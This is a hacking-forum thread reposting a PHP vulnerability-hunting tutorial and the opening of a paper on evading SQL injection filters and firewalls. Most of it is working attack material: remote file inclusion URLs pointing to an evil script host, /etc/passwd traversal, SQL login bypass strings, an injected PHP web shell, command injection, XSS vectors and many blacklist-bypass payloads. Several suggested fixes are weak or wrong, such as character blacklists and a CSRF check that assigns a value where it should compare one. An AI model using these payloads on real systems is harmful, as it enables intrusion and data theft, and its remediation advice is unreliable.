• DummiesHub believe in censorship free world
  • You will find here everything that can't find anywhere!
  • Sign Up Now!
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5

Finding vulnerabilities in PHP scripts (FULL)

#1
Name : Finding vulnerabilities in PHP scripts FULL ( with examples )
Author : SirGod
Email : [email protected]
Contents :

1) About
2) Some stuff
3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz


1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.


2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :

safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )

How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.


3) Remote File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )


In PHP is 4 functions through you can include code.

require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.


3.0 - Basic example


- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".

- Code snippet from test.php

-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------

- If we access the page we got some errors and some warnings( not pasted ) :

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :

http://127.0.0.1/test.php?pagina=http://...script.txt

Now I will show why some people use ? and %00 after the link to the evil script.

# The "%00"

- Code snippet from test.php

-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------

- So if we will request

http://127.0.0.1/test.php?pagina=http://...script.txt

Will not work because the script will try to include http://evilsite.com/evilscript.txt.php

So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in
consideration.Example :

http://127.0.0.1/test.php?pagina=http://...ipt.txt%00

The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.

# The "?"

- Code snippet from test.php

-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------

And the logged=1 will become like a variable.But better use nullbyte.Example :

http://127.0.0.1/test.php?pagina=http://...t?logged=1

The evilscript will be included succesfully.


3.1 - Simple example


Now an example from a script.

- Code snippet from index.php

----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------

We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :

http://127.0.0.1/index.php?main_content=...script.txt

Our evil script will be successfully included.


3.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".


4) Local File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).

The same functions which let you to include (include,include_once,require,require_once) .


4.0 - Basic example


- Code snippet from test.php

-----------------------------------
<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------

Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :

http://127.0.0.1/test.php?pagina=../../....etc/passwd

The script will include "/pages/../../../../../../etc/passwd" successfully.

You can use the %00 and ? .The same story.


4.1 - Simple example


- Code snippet from install/install.php

-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............
<p><? include('step/'.$url) ?></p>
-------------------------------------

We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.

So if we do the following request :

http://127.0.0.1/install/install.php?url...etc/passwd

The "etc/passwd" file will be succesfully included.


4.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .


5) Local File Disclosure/Download


- Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()


5.0 - Basic example


- Code snippet from test.php

--------------------------------------
<?php
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------

The readfile() function will read the content of the specified file.So if we do the following request :

http://127.0.0.1/test.php?pagina=../../....etc/passwd

The content of etc/passwd will be outputed NOT included.


5.1 - Simple example


- Code snippet from download.php

-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------

The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :

http://127.0.0.1/download.php?file=../.....etc/passwd

So we can succesfully read the "etc/passwd" file.


5.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .


6) SQL Injection


- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.


6.0 - Basic example


- Code snippet from test.php

----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------

The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :

http://127.0.0.1/test.php?id=1+union+all...passwd'),4--

And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.


6.1 - Simple example


- Code snippet from house/listing_view.php

-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------

We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :

http://127.0.0.1/house/listing_view.php?...from+users--

And we get the email and the password from the users table.


6.2 - SQL Injection Login Bypass


- Code snippet from /admin/login.php

------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
------------------------------------------------------------------------------------------------------------------------------

The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ' or ' 1=1
password : sirgod

We logged in.Why?Look,the code will become

---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------

Login bypassed.The username must be an existent username.


6.3 - How to fix


Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *


7) Insecure Cooke Handling


- Tips : Write the code in the URLbar,don't use a cookie editor for this.


7.0 - Basic example


- Code snippet from test.php

---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------

Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :

javascript:document.cookie = "is_user_logged=1; path=/";

So practically we are logged in,we pass the check and we can access the admin panel.


7.1 - Simple example


- Code snippet from admin.php

----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------

Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :

javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";

What is 1246371700? Is the current time() echo'ed + 360.


7.2 - How to fix


Simple way : The most simple and eficient way : use SESSIONS .


8) Remote Command Execution


- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .

In PHP are some functions that let you to execute commands :

exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output


8.0 - Basic example

- Code snippet from test.php

---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------

So if we make the following request :

http://127.0.0.1/test.php?cmd=whoami

The command will be executed and the result will be outputed.


8.1 - Simple example


- Code snippet from dig.php

-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------

The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.

Lets make a request :

http://127.0.0.1/dig.php?ns=whoam&host=s...us=digging

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :

http://127.0.0.1/dig.php?ns=||whoami||&h...us=digging

Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".


8.2 - Advanced example


- Code snippet from add_reg.php

-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------

We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :

<?php system($_GET['cmd']); ?>

the code inside sites/ourusername.php will become :

-------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "[email protected]";
$location = "<?php system($_GET['cmd']); ?>";
$url = "http://google.ro";
?>
-------------------------------------------------

So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

Lets inject this code :

\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\"Big Grin

So the code inside sites/ourusername.php will become :

--------------------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "[email protected]";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";
$url = "http://google.ro";
?>
--------------------------------------------------------------

and we will have no error.Why?See the code :

$location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";

Lets split it :

-------------------------------
$location = "";
?>
<?php system($_GET['cmd']);?>
<?php $xxx="Big Grin";
-------------------------------

We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).

So if we make the following request :

http://127.0.0.1/sites/ourusername.php?cmd=whoami

And our command will be succesfully executed.


8.3 - How to fix


Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);


9) Remote Code Execution


- Tips : You must inject valid PHP code including terminating statements ( ; ) .


9.0 - Basic example


- Code snippet from test.php

-----------------------------------
<?php
$code=$_GET['code'];
eval($code);
?>
-----------------------------------

The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :

http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);

And we will see the output of the PHP code injected by us.


9.1 - Simple example


- Code snippet from system/services/init.php

------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------

We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :

http://127.0.0.1/test.php?anticode=phpinfo();

Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.


9.2 - How to fix


Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.


10) Cross-Site Scripting


- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.


10.0 - Basic example


- Code snippet from test.php

---------------------------------
<?php
$name=$_GET['name'];
print $name;
?>
---------------------------------

The input is not filtered,an attacker can inject JavaScript code.Example :

http://127.0.0.1/test.php?name=<script>alert("XSS")</script>

A popup with XSS message will be displayed.JavaScript code succesfully executed.


10.1 - Another example


- Code snippet from test.php

-------------------------------------------
<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>
-------------------------------------------

Not an advanced example,only a bit complicated.

http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>

Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.


10.2 - Simple example


- Code snippet from modules.php

---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------

The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :

http://127.0.0.1/test.php?name=<script>alert("XSS")</script>


10.3 - How to fix


Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.


11) Authentication Bypass


- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".


11.0 - Basic example


I will provide a simple example of authentication bypass
via login variable.

- Code snippet from test.php

---------------------------------
<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------

Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :

http://127.0.0.1/test/php?logged=1

And we are logged in.


11.1 - Via login variable


- Code snippet from login.php

------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
------------------------------------------------------------------------------------

Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :

http://127.0.0.1/login.php?login_ok=1

Now we are logged in.


11.2 - Unprotected Admin CP


You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :

http://127.0.0.1/admin/files.php

We accessed the admin panel with a simple request.


11.3 - How to fix


- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :

if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}

- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :

.htaccess :

order deny, allow
deny from all
allow from 127.0.0.1

.htpasswd :

AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.


12) Insecure Permissions


Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.


12.0 - Basic example


We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------

Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :

http://127.0.0.1/admin/db_lookup.php

We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.


12.1 - Read the users/passwords


Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :

http://127.0.0.1/userpwd.txt

And we read the file,the usernames and passwords are there.


12.2 - Download Backups


Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$[email protected]_connect("localhost",$uid, $pwd) or die("Could not connect");
$[email protected]_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------

After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :

http://127.0.0.1/adminpanel/phpmydump.php

Now we have the database backup saved in our computer.


12.3 - INC files


Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :

http://127.0.0.1/inc/mysql.inc

Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.


12.4 - How to fix


- Basic example : Check if the admin is logged in,if not,redirect.

- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.

- Download Backups : Check if the admin is logged in,if not,redirect.

- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.


13) Cross Site Request Forgery


- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.


13.0 - Basic example


- Code snippet from test.php

-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------

In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :

http://127.0.0.1/test.php?news=1

The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.


13.1 - Simple example


In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.

- Code snippet from includes/pages/admin.php

--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------

Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.


- Code snippet from includes/pages/admin/members.php

----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------

We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :

http://127.0.0.1/index.php?page=admin&ac...elete&id=4

The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.


13.2 - How to fix


- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :

-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------

The request will look like this one :

http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

So this request will be fine,the news will be deleted.


- Another way : Do some complicated confirmations or request a password
to do administrative actions.


14) Shoutz


Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or
questions just email me.

# milw0rm.com [2009-09-09]
In The Name of Lord Rama
#2
|=--------------------------------------------------------------------=|
|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
|=-------------------------=[ 6 October 2011 ]=-----------------------=|
|=----------------------=[ By CWH Underground ]=--------------------=|
|=--------------------------------------------------------------------=|


######
Info
######

Title : Beyond SQLi: Obfuscate and Bypass
Author : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date : 2011-10-06


##########
Contents
##########

[0x00] - Introduction

[0x01] - Filter Evasion (Mysql)

[0x01a] - Bypass Functions and Keywords Filtering
[0x01b] - Bypass Regular Expression Filtering

[0x02] - Normally Bypassing Techniques

[0x03] - Advanced Bypassing Techniques

[0x03a] - HTTP Parameter Pollution: Split and Join
[0x03b] - HTTP Parameter Contamination

[0x04] - How to protect your website

[0x05] - Conclusion

[0x06] - References

[0x07] - Greetz To


#######################
[0x00] - Introduction
#######################

Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on.
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection.
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system
in the real world even though you spend more than 300,000 USD on a WAF.

This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution.
The last, section 0x05, It's conclusion from Section 0x01-0x04.


#################################
[0x01] - Filter Evasion (Mysql)
#################################

This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions.
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

+++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Bypass Functions and Keywords Filtering
+++++++++++++++++++++++++++++++++++++++++++++++++++

Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful.
However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users
when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.


Keyword filer: and, or
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or)/i', $id)

THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.

Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
----------------------------------------------------------------------


Keyword filer: and, or, union
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union)/i', $id)

The keyword union is generally used to generate an malicious statement in order to select extra data from the database.

Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement
e.g. use substring function to get each character of table names.
----------------------------------------------------------------------


Keyword filer: and, or, union, where
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by, select
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by, select, '
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by, select, ', hex
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
----------------------------------------------------------------------


Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
Bypassed injection: 1%0b||%0blpad(user,7,1)
----------------------------------------------------------------------


From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions.
Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


+++++++++++++++++++++++++++++++++++++++++++++++
